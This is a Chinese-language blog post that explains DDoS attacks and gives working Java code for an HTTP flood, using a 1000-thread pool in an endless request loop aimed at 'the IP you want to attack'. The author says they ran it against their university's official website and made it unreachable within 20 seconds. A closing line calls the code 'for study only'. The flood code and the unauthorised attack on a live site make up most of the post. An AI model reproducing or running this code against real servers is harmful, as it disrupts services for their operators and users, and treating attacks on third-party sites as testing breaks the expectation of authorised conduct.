以前租云服务器,会看到DDoS防御的选项,由于租用的是测试服务器,也从来没选过这个选项.
今天,我们就聊一聊DDoS攻击是怎么回事.
首先,我花了一张图来简单的描述一下这个过程.
黑客机一般会控制几百台,甚至上千台肉鸡,同时访问一台服务器,造成服务器的网络阻塞甚至瘫痪.
我将这个过程描述为DDoS攻击,这只是我个人的理解,如果有什么其他的见解,可以在评论区评论或者加微信私聊我,
黑客一般会在肉鸡上安装代理通讯程序,一旦黑客机启动,大量的肉鸡便开始进行攻击.
那么看一下在Java中该如何实现呢.
首先看一下我的第一种思路(错误的);
利用Java的定时任务
public static void main(String[] args){ Timer time = new Timer(); time.schedule(new Mytast(), 1000, 1); //1s之后开始执行,每1秒执行1000次,参数单位(毫秒) }
Mytask中是一个访问url请求的线程.
结果发现,请求是成功的,结果测试方的网站并没有受到一丝影响.
原因是什么呢,我们只有一个线程,虽然定时器定时器定义的是每秒执行1000次,速度是完全达不到的,而且在Mytask中我还模拟了浏览器访问,不仅占用了大量的本地网络资源,还没什么用.
后来想到使用多线程来模拟多个肉鸡同时攻击,划重点,是同时,不是有顺序的一个一个攻击.只有同时大量的访问才会对目标服务器造成影响.
下面的代码借鉴了网上的方案,找了半天都是转载,也没找到原创作者,在此先表以致谢,我也是开源世界中的一员,毕竟共同进步才是进步嘛!
import java.io.BufferedInputStream; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; /** * Created by 94829 on 2018-06-13. */ public class ddos { public static void main(String[] args) { //利用线程池创建1000个线程 ExecutorService es = Executors.newFixedThreadPool(1000); Mythread mythread = new Mythread(); Thread thread = new Thread(mythread); for (int i = 0; i < 10000; i++) { es.execute(thread); } } } class Mythread implements Runnable { public void run() { while (true) { try { URL url = new URL("http://你要攻击的IP/"); URLConnection conn = url.openConnection(); System.out.println("发包成功!"); BufferedInputStream bis = new BufferedInputStream( conn.getInputStream()); byte[] bytes = new byte[1024]; int len = -1; StringBuffer sb = new StringBuffer(); if (bis != null) { if ((len = bis.read()) != -1) { sb.append(new String(bytes, 0, len)); System.out.println("攻击成功!"); bis.close(); } } } catch (MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }
我是用我们学校的服务器作为测试对象的,大学的官网服务器是最容易测试的.
不到20秒就已经无法访问了,也算是完成的简单的DDoS攻击.
声明:以上代码仅供学习,请勿用于非法途径,如不听劝告,造成的后果,自行承担.
富强、*、文明、和谐、*、平等、公正、法治 、爱国、敬业、诚信、友善;